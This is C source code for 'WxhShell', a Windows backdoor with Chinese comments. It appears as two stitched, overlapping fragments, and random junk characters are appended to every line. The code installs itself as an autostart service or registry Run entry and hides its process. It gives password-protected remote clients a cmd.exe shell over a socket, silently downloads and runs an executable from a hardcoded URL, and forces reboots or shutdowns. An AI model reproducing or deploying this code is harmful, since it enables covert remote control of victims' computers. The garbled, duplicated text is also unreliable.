    if(Boot(SHUTDOWN)) Vg{Zv4+t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p!}ZdX[u  
    else { 7u::5W-q  
    closesocket(wsh); eHUg-\dy  
    ExitThread(0); G,=F<TnI'  
    } Hng!'  
    break; 7D   
    }  #I;D  
  // 获取shell qcYNtEs*c  
  case 's': { y+A{Y  
    CmdShell(wsh); Ew]<jF|.#  
    closesocket(wsh); c yP,[?N  
    ExitThread(0); H'Ln P>@n#  
    break; 8bt53ta  
  } }a^|L"  
  // 退出 9#Bx]wy  
  case 'x': { ;gUXvx~~r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8aZ$5^z  
    CloseIt(wsh); Pxqiv9D<R  
    break; =-Nsc1&  
    } ;\x~'@  
  // 离开 wdwp9r  
  case 'q': { ;SKcbws  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LQqfi ~  
    closesocket(wsh); =T4u":#N;  
    WSACleanup(); ] IS;\~  
    exit(1); 1Cv#nhmp  
    break; 84^[/d;!  
        } E M Q4yK  
  } dMV=jJ%Y  
  } bK4&=#Zh  
x,\!DLq:p  
  // 提示信息 q$T8bh,2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4sIX O  
} 7}%H2$Do  
  } Pw{"_g  
5ITq?%{M  
  return; ^)0 9OV+hF  
} 5kn+ >{jh`  
+ xp*]a  
// shell模块句柄 _B[WY  
int CmdShell(SOCKET sock) :6D0j  
{ !y. $J<  
STARTUPINFO si; \ I:.<2i  
ZeroMemory(&si,sizeof(si)); aMJ;bQD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W#{la`#Bu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h/K@IA d  
PROCESS_INFORMATION ProcessInfo; .$0Pr%0pWI  
char cmdline[]="cmd"; #9:2s$O[x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bi$VAYn.^  
  return 0; mxp Y&Y  
} yFjVKp'P  
H\#:,s{1  
// 自身启动模式 [!~}S  
int StartFromService(void) `Wn Q   
{ smup,RNZRX  
typedef struct 6 D/tK|  
{ utH%y\NMF|  
  DWORD ExitStatus; ,E}$[mHyjz  
  DWORD PebBaseAddress; [l*;E f,  
  DWORD AffinityMask; mU@xc N  
  DWORD BasePriority; >DP:GcTG  
  ULONG UniqueProcessId; 3=- })X ;  
  ULONG InheritedFromUniqueProcessId; !re1EL  
}   PROCESS_BASIC_INFORMATION; `!i-#~n  
sS9%3i/>  
PROCNTQSIP NtQueryInformationProcess; TzKK;(GX  
wkBL=a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3?`"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?WHy0x20  
#epy%>  
  HANDLE             hProcess; p `P~i&_  
  PROCESS_BASIC_INFORMATION pbi; mCdgKr|n  
e&1 \'Zq?>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mu2`ODe]  
  if(NULL == hInst ) return 0; OCK>%o$[  
BQ#L+9%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m@\ZHbq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); re`t ]gzb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <3Gqv9Y&  
:=fvZAWD  
  if (!NtQueryInformationProcess) return 0; iM5vrz`n  
9Cvn6{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wi$dZOcSJ  
  if(!hProcess) return 0; _|zBUrN  
62\&RRB i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XYfv(y  
|[1D$Qv  
  CloseHandle(hProcess); PJ q yvbD  
W)4QOS&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^E,1V5  
if(hProcess==NULL) return 0; O3qM1-k}S  
H l<$a"K7\  
HMODULE hMod; X3B{8qx_>  
char procName[255]; j*3}1L4P  
unsigned long cbNeeded; sbS~N*{E  
ROdK8*jL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _^\$" nw  
50n}my'2h  
  CloseHandle(hProcess); z-,VnhLx  
q SD9Pue  
if(strstr(procName,"services")) return 1; // 以服务启动 _0(7GE13p  
BX< dSK  
  return 0; // 注册表启动 AGq>=avv  
} 9 wh2f7k  
YRcps0Dx9  
// 主模块 L*]0"E  
int StartWxhshell(LPSTR lpCmdLine) Xy7Z38G  
{ jd:B \%#![  
  SOCKET wsl; 1RqgMMJL  
BOOL val=TRUE; zp4W'8  
  int port=0; 2UadV_s+s  
  struct sockaddr_in door; (OmH~lSO.  
1-VT}J(  
  if(wscfg.ws_autoins) Install(); L?RF;jf  
2R.2D'4)`  
port=atoi(lpCmdLine); UVEz;<5@\  
J4aB Pq`  
if(port<=0) port=wscfg.ws_port; q_t4OrLr=  
?c#$dc"  
  WSADATA data; ,pt%) c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M+xdHBg  
R_kQPP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q@QFV~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s;1h-Oq (  
  door.sin_family = AF_INET; :&w{\-0{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jbte *Ae  
  door.sin_port = htons(port); n$["z w  
%y<]Yzv.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ph,- sR  
closesocket(wsl); cQUC.TZ_  
return 1; \2kPq>hu  
} ^g>1U5c  
~?Omy8#  
  if(listen(wsl,2) == INVALID_SOCKET) { z@VP:au  
closesocket(wsl); L,]=vba'$  
return 1; Tg ?x3?kw  
} f CcD&<%  
  Wxhshell(wsl); aT!;{+  
  WSACleanup(); hOk00az  
,mFsM!|  
return 0; R;}22s  
yR71%]*.  
} y,Q5; $w8  
AuiFbRFi  
// 以NT服务方式启动 S h4wqf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vO@s$qi  
{ -kj< 1~YW  
DWORD   status = 0; b~0N^p[&%  
  DWORD   specificError = 0xfffffff; r)T[(D'Tm-  
zO=%J)-=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'vIx#k4D1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [=%YV# O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C>QIrZu  
  serviceStatus.dwWin32ExitCode     = 0; D'[Uc6  
  serviceStatus.dwServiceSpecificExitCode = 0; pwX C  
  serviceStatus.dwCheckPoint       = 0; Z)"61) )  
  serviceStatus.dwWaitHint       = 0; t+TYb#Tc  
`\Unpp\I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0pgY1i7  
  if (hServiceStatusHandle==0) return; 53OJ-m%a  
V'gw\mcb  
status = GetLastError(); pchBvly+0  
  if (status!=NO_ERROR) s(2GFc  
{ H-5<S@8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; % _M2N.n  
    serviceStatus.dwCheckPoint       = 0; wts:65~  
    serviceStatus.dwWaitHint       = 0; +cB&Mi5  
    serviceStatus.dwWin32ExitCode     = status; >cR)?P/o  
    serviceStatus.dwServiceSpecificExitCode = specificError; k#JQxLy#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j 6)Y  
    return; bKbp?-]  
  } O&Z' r  
kBEmmgL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "$^0%-  
  serviceStatus.dwCheckPoint       = 0; } :?.>#  
  serviceStatus.dwWaitHint       = 0; " Ar*QJ0]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !K0JV|-?t  
} <vc`^Q&4B  
3I=kr  
// 处理NT服务事件,比如:启动、停止 +a+`Z>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ob<W/-%5tH  
{ W{"XJt_  
switch(fdwControl) )g1a'G  
{ 3Rv7Qx  
case SERVICE_CONTROL_STOP: x4K`]Fvhl  
  serviceStatus.dwWin32ExitCode = 0; <:;^'x>!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hfM;/  
  serviceStatus.dwCheckPoint   = 0; nBLj [  
  serviceStatus.dwWaitHint     = 0; ]s1 YaNq  
  { a P()|js  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A.%CAGU5w  
  } B |{I:[  
  return; 3:CO{=`\7B  
case SERVICE_CONTROL_PAUSE: "HIXm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; % 4 ~l  
  break; :`,3h%  
case SERVICE_CONTROL_CONTINUE: ${&5]!E[>D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~6[*q~B  
  break; 9s$U%F6}  
case SERVICE_CONTROL_INTERROGATE: 7v"lNP-?jU  
  break; O>0VTW  
}; `)>7)={  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); : mGAt[Cc  
} 7^e +  
1(dj[3Mt  
// 标准应用程序主函数 )mcEQ-!b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fys  
{ MXh "Y*}  
]Yyia.B  
// 获取操作系统版本 X]*QUV]i  
OsIsNt=GetOsVer(); |;vi*u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sfjje4R  
K`KLC.j  
  // 从命令行安装 _7)F ?  
  if(strpbrk(lpCmdLine,"iI")) Install(); %b!-~ Y.  
j2n,f7hl.  
  // 下载执行文件 O}ejWP8>  
if(wscfg.ws_downexe) { ) M<vAUF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'ktHPn ,K  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z@rN_WXx  
} u=l1s1>  
JiS5um=(.  
if(!OsIsNt) { x;E2~&E  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cpl;vQ  
HideProc(); 2&(sa0*y  
StartWxhshell(lpCmdLine); ?/#}ZZK^  
} quu*xJ;Ci  
else \+PIe7f_  
  if(StartFromService()) BN_7Ay/k  
  // 以服务方式启动 P>Qpv Sd_#  
  StartServiceCtrlDispatcher(DispatchTable); %"$@%"8;3  
else WOytxE  
  // 普通方式启动 O9h+Q\0\W  
  StartWxhshell(lpCmdLine); gPC@Yy  
W0`Gc {  
return 0; H:{7X1bV  
} {{yt*7k{  
Owv +1+B  
YoODR  
QL7>;t;  
=========================================== Hgc=M  
W  0[N0c  
Uu p(6`7  
F phDF  
$a;]_Y  
X=X\F@V:u  
" $ItF])Bj5N  
HL{$ ^l#v  
#include <stdio.h> r4 dOK] 0  
#include <string.h> I*[tMzE  
#include <windows.h> &~DTZg Y  
#include <winsock2.h> Z'v-F^  
#include <winsvc.h> T6 #"8qz<  
#include <urlmon.h> 'W. V r4  
Z0,~V  
#pragma comment (lib, "Ws2_32.lib") d.<~&.-$  
#pragma comment (lib, "urlmon.lib") k)(Biz398E  
Y;J*4k]  
#define MAX_USER   100 // 最大客户端连接数 _O:WG&a6  
#define BUF_SOCK   200 // sock buffer F1azZ (  
#define KEY_BUFF   255 // 输入 buffer o@E/r.uK  
-7-['fX  
#define REBOOT     0   // 重启 ) |#%Czd4  
#define SHUTDOWN   1   // 关机 _sHK*&W{CT  
dWRrG-'  
#define DEF_PORT   5000 // 监听端口 Zf*r2t1&P  
ZFh+x@  
#define REG_LEN     16   // 注册表键长度 %i{;r35M;9  
#define SVC_LEN     80   // NT服务名长度 *e"a0  
|I8Mk.Z=FA  
// 从dll定义API @]CF&: P A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jk~:\8M(A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !mfJpJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dx_6X!=.J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bo_ym36N  
j0-McLc  
// wxhshell配置信息 -C7FuD[Xw  
struct WSCFG { ph:3|d  
  int ws_port;         // 监听端口 oUDVy_k  
  char ws_passstr[REG_LEN]; // 口令 |VH!)vD  
  int ws_autoins;       // 安装标记, 1=yes 0=no !|wzf+V  
  char ws_regname[REG_LEN]; // 注册表键名 eOl KbJU  
  char ws_svcname[REG_LEN]; // 服务名 |?m` xO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tV;% J4E'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HaNboYW_K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /)|X.D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8|1^|B(l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YrI|gz)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5CYo7mJ6+  
43:t \  
}; V-O(U*]  
CX/(o]  
// default Wxhshell configuration D}mL7d1  
struct WSCFG wscfg={DEF_PORT, &wH:aD  
    "xuhuanlingzhe", |lQ;ALH!  
    1, {kB `>VS  
    "Wxhshell", G&{HTYP  
    "Wxhshell", |  FM }  
            "WxhShell Service", M7}Q=q\9  
    "Wrsky Windows CmdShell Service", |!z2oO  
    "Please Input Your Password: ", cL7g}$W $  
  1, aC=['a>)  
  "http://www.wrsky.com/wxhshell.exe", ~Vh=5J~  
  "Wxhshell.exe" my\&hCE  
    }; Iq5pAHm>M6  
Xh3;   
// 消息定义模块 .#6MQJ]OH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RNJ FSD.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Va<H U:<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jRZ%}KX  
char *msg_ws_ext="\n\rExit."; 0NE{8O0;Fr  
char *msg_ws_end="\n\rQuit."; ~9o6 W",  
char *msg_ws_boot="\n\rReboot..."; lPq\=V  
char *msg_ws_poff="\n\rShutdown..."; oY9FK{  
char *msg_ws_down="\n\rSave to "; U..<iNQE5  
[IX+M#mf  
char *msg_ws_err="\n\rErr!"; `H%G3M0a  
char *msg_ws_ok="\n\rOK!"; :Hy]  
n~0z_;5  
char ExeFile[MAX_PATH]; lP<I|O=z  
int nUser = 0; Se^^E.Z,W  
HANDLE handles[MAX_USER]; >wON\N0V_  
int OsIsNt; bi[7!VQf  
E0f{iO;}  
SERVICE_STATUS       serviceStatus; xN->cA$A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y2Bh?>pg  
:KE/!]z  
// 函数声明 Pi6C/$ K  
int Install(void); 5>0.NiXGf'  
int Uninstall(void); "cUg>a3  
int DownloadFile(char *sURL, SOCKET wsh); i2,U,>.  
int Boot(int flag); m)>&ZIXa  
void HideProc(void); T|4snU2M  
int GetOsVer(void); Z| 6{T  
int Wxhshell(SOCKET wsl); d.F)9h]XHO  
void TalkWithClient(void *cs); !XE aF]8  
int CmdShell(SOCKET sock); &_-](w`  
int StartFromService(void); LK7Xw3  
int StartWxhshell(LPSTR lpCmdLine); , |E$'  
HxwlYx,4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $xW **&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |Fln8wB  
C".1+Um  
// 数据结构和表定义 NlPS#  
SERVICE_TABLE_ENTRY DispatchTable[] = 2Oc$+St~8  
{ ? 5|/ C  
{wscfg.ws_svcname, NTServiceMain}, 2ypIq  
{NULL, NULL} laREjN/\`  
}; (|h:h(C  
$~u.Wq  
// 自我安装 }uO5q42  
int Install(void) ]KK`5Dv|,e  
{ +&v\ /  
  char svExeFile[MAX_PATH]; 0{rx.C7|  
  HKEY key; hSV@TL  
  strcpy(svExeFile,ExeFile); 02b6s&L  
a+z2Zd!u\x  
// 如果是win9x系统,修改注册表设为自启动 tai Vk4  
if(!OsIsNt) { 2: ^njqX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ? Nj)6_&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^$?qT60%d|  
  RegCloseKey(key); APBK9ky  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :h5J r8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pA4 ,@O  
  RegCloseKey(key); Q+[ .Y&  
  return 0; &y. dmW  
    } 8e:vWgQpL  
  } %vqT#+x  
} [1Dm<G u@  
else { MWwJzVL8  
nfE@R."A  
// 如果是NT以上系统,安装为系统服务 _ n O.-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2<W&\D o@  
if (schSCManager!=0) oN,s.Of  
{ .XH8YT42  
  SC_HANDLE schService = CreateService dk5|@?pe  
  ( Bq}x9C&<  
  schSCManager, pdz'!I  
  wscfg.ws_svcname, ,@CfVQz  
  wscfg.ws_svcdisp, 4('JwZw\!  
  SERVICE_ALL_ACCESS, k=n "+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d]B= *7]  
  SERVICE_AUTO_START, Z6s5M{mE  
  SERVICE_ERROR_NORMAL, \ aKd5@  
  svExeFile, ?S`>>^  
  NULL, aC\4}i<  
  NULL, NB)t7/Us  
  NULL, F? ]N8W  
  NULL, g:~+P e  
  NULL 2<6j1D^jM  
  ); Z7#7N wy4  
  if (schService!=0) Os&1..$Nb  
  {  H!eh J$[  
  CloseServiceHandle(schService); -Zy)5NB-tZ  
  CloseServiceHandle(schSCManager); o:\XRPB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S!dHNA:iU  
  strcat(svExeFile,wscfg.ws_svcname); c~Kc7}I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7 `Du5>b8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _/x& <,3  
  RegCloseKey(key); 9M2f!kJP$  
  return 0; L,M+sN  
    } WmVVR>0V|  
  } K8Zt:yP  
  CloseServiceHandle(schSCManager); 3 N%{B  
} tbG8MXX  
} U":"geU  
:YvbU Y  
return 1; I,P!@  
} J W"  
uLW/f=7 L  
// 自我卸载 )x\z@g  
int Uninstall(void) i\x~iP&F$  
{  Alu5$6X  
  HKEY key; $WaZ_kt  
i^g~~h F  
if(!OsIsNt) { zO.6WJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rc9<^g`  
  RegDeleteValue(key,wscfg.ws_regname); mK\aI  
  RegCloseKey(key); ;'1Apy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /H&aMk}J@y  
  RegDeleteValue(key,wscfg.ws_regname); myvh@@N  
  RegCloseKey(key); ]N}]d +^6  
  return 0; Q_}n%P:u  
  } " i`8l.Lc  
} ^ KOzCLC  
} 9q|7<raS  
else { dU+0dZdKO  
~ x`7)3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vInFo.e[4  
if (schSCManager!=0) g!^J,e=  
{ In(NF#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mq+< mX7  
  if (schService!=0) Bl4 dhBZoO  
  { fN[n>%)VO<  
  if(DeleteService(schService)!=0) { {j@+h%sF>+  
  CloseServiceHandle(schService); 9ECS,r*B  
  CloseServiceHandle(schSCManager); jsm0kz  
  return 0; P9yw&A  
  } #s^s_8#&e  
  CloseServiceHandle(schService); mQ,{=C=D  
  } Xp^$ E6YFy  
  CloseServiceHandle(schSCManager); :~-i&KNk  
} Lz6*H1~   
} 2oB?Dn  
<7RfBR.9  
return 1; <.$,`m,  
} ;,`]O!G:P  
s`vSt* ]K  
// 从指定url下载文件 ITvHD-,\  
int DownloadFile(char *sURL, SOCKET wsh) -tP.S1D  
{ |[WL2<  
  HRESULT hr; Q X):T#^V  
char seps[]= "/"; ?!m m a\W  
char *token; /Sj_y*x1e  
char *file; ;Jo*|pju  
char myURL[MAX_PATH]; qw0~ *0}  
char myFILE[MAX_PATH]; fLM.k CD?u  
+$ ~8)95<B  
strcpy(myURL,sURL); ZgBckb  
  token=strtok(myURL,seps); G5u meqYC  
  while(token!=NULL) npj5U/  
  { Rp eBm#E2  
    file=token; 'FxYMSZS$  
  token=strtok(NULL,seps); BvJ\x)  
  } ^0eO\wc?O  
}K;iJ~kD1  
GetCurrentDirectory(MAX_PATH,myFILE); -x?Hj/  
strcat(myFILE, "\\"); D(@SnI+  
strcat(myFILE, file); \E&thp  
  send(wsh,myFILE,strlen(myFILE),0); JP%RTGu  
send(wsh,"...",3,0); ">,K1:(D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ou!)1UFI  
  if(hr==S_OK) eoL0^cZj  
return 0; ?\d5;%YSr  
else FvA|1c  
return 1; @7X\tV.Z  
K*:Im #Q  
} 1:5P%$?b  
*vD/(&pQ1:  
// 系统电源模块 E6Q91Wz9f  
int Boot(int flag) QRiF!D)Nk  
{ cf&C|U  
  HANDLE hToken; <G}m#  
  TOKEN_PRIVILEGES tkp; 7YD\ !2b  
C=s((q*  
  if(OsIsNt) { $~ VcQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8E=vR 8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `W="g6(  
    tkp.PrivilegeCount = 1; ,i;9[4QMX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }Fz!6F2w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vcV!K^M-  
if(flag==REBOOT) { *NF&Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GJ>ypEWo  
  return 0; l`qP~ k#  
} s)Gb!-``  
else { 1"d\ mE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C?(y2p`d\  
  return 0; w4aiI2KFq  
} Uv'uqt  
  } 9QZ}Hn`p  
  else { $Uy#/MX  
if(flag==REBOOT) { NC;T( @  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'l8eH$  
  return 0; Z{ %Uw;d  
} JkJhfFV  
else { > `0| X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yq!CWXZ2  
  return 0; ~6MMErSj  
} #yX^?+Rc  
} do*Wx2:R  
$Q#?`j  
return 1; 37~rm  
} j}"]s/= 6  
<G&WYk%u*  
// win9x进程隐藏模块 ~V!EtZG$  
void HideProc(void) v(a9#bMZU  
{ PQQgDtiH  
?'T"?b<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P mC82"  
  if ( hKernel != NULL ) VBhE{4J  
  { ?3n=m%W,J*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qPp]K?.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2,+@# q  
    FreeLibrary(hKernel); rdFs?hO  
  } pDP33`OFh  
8R&z3k;!t  
return; XpOCQyFnM  
} ~;TV74~rr  
E8+8{ #f;  
// 获取操作系统版本 i4 P$wlO  
int GetOsVer(void) =SA 4\/  
{ Bk@bN~B4  
  OSVERSIONINFO winfo; |%n|[LP'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3SmqXPOw  
  GetVersionEx(&winfo); sek6+#|=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h!ZZ2[  
  return 1; ER/\ +Z#Z  
  else B>1M$3`E  
  return 0; B6-AIPb  
} |WQD=J%~(  
oJhEHx[f  
// 客户端句柄模块 hcj{%^p  
int Wxhshell(SOCKET wsl) {E3;r7  
{ 4;08n|C  
  SOCKET wsh; ='KPT1dW*  
  struct sockaddr_in client; bn5"dxV  
  DWORD myID; 9tW3!O^_  
(69kvA&|q  
  while(nUser<MAX_USER) HW^{;'kH~  
{ (2n3exx  
  int nSize=sizeof(client); >3v0yh_3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w($XEv;  
  if(wsh==INVALID_SOCKET) return 1; r#ks>s  
#d3[uF]OmW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AX/=}G  
if(handles[nUser]==0) &mCs%l  
  closesocket(wsh); *{HGLl|=  
else *sIi$1vHu  
  nUser++; h\Z3yAYd  
  } hLu&lY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4mki&\lw`  
h<t<]i'  
  return 0; T@2f&Un^  
} /M5=tW#e  
"#[o?_GaJ  
// 关闭 socket h]G6~TYI5  
void CloseIt(SOCKET wsh) 3 t~X:  
{ T]5U_AI@  
closesocket(wsh); O<gP)ZW~  
nUser--; FA5k45w L  
ExitThread(0); T9aTEsA[U  
} '&rw=.cU  
{9y9Kr|(P:  
// 客户端请求句柄 NHst7$Y<  
void TalkWithClient(void *cs) >?H_A  
{ :0i#=ODR  
wI|bBfd(  
  SOCKET wsh=(SOCKET)cs; ZS07_6.~  
  char pwd[SVC_LEN]; Q&\ZC?y4  
  char cmd[KEY_BUFF]; +:j4G^V  
char chr[1]; fo/(()  
int i,j; \z(>h&  
={e#lC  
  while (nUser < MAX_USER) { $u/8Rp  
Yqq$kln  
if(wscfg.ws_passstr) { QSlf=VK*y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K*hf(w9="%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "a2H8x  
  //ZeroMemory(pwd,KEY_BUFF); M)bC%(xJ  
      i=0; vq@#Be?@  
  while(i<SVC_LEN) { %t,1_c0w  
%a%+!wX0x  
  // 设置超时 DR#3njjEC  
  fd_set FdRead; P2<gHJ9t  
  struct timeval TimeOut; ?etj.\q6  
  FD_ZERO(&FdRead); C{lB/F/|!  
  FD_SET(wsh,&FdRead); +9& ulr  
  TimeOut.tv_sec=8; IFHgD}kp%#  
  TimeOut.tv_usec=0; :Map,]]B_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CJ37:w{%*Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p;)klH@X  
67EDkknt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @pyA;>U  
  pwd=chr[0]; &k {t0>  
  if(chr[0]==0xd || chr[0]==0xa) { 5k!(#@a_T  
  pwd=0; 4kN:=g  
  break; U^WQWa  
  } pJ<)intcbE  
  i++; KV3+}k  
    } GLoL4el  
.>cL/KaP  
  // 如果是非法用户,关闭 socket * S+7BdP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *{L<BB^  
} CVn;RF6  
oQE_?">w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3M5=@Fwkr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^$^Vd@t>a  
c{r6a=C  
while(1) { ixUiXP  
`K ~>!d_  
  ZeroMemory(cmd,KEY_BUFF); mAtG&my)  
}1E_G  
      // 自动支持客户端 telnet标准   O>{t}6o  
  j=0; 8DmX4*  
  while(j<KEY_BUFF) { I=Lj_UF4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ln_EL?V  
  cmd[j]=chr[0]; l7FZ;%&  
  if(chr[0]==0xa || chr[0]==0xd) { M zA  
  cmd[j]=0; {;wK,dU  
  break; Sxx.>gP"61  
  } \p_8YC  
  j++; ,& {5,=  
    } `OF g.R|  
pRaoR  
  // 下载文件 &vGEz*F  
  if(strstr(cmd,"http://")) { o7Z#,>`2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x<j($iv  
  if(DownloadFile(cmd,wsh)) 5}(YMsUb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9fk\Ay1P  
  else knj,[7uh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R _~m\P  
  } 'FvhzGn9Q  
  else { %)!~t8To  
RI< Yg#   
    switch(cmd[0]) { ~P.-3  
  4h0jX 9  
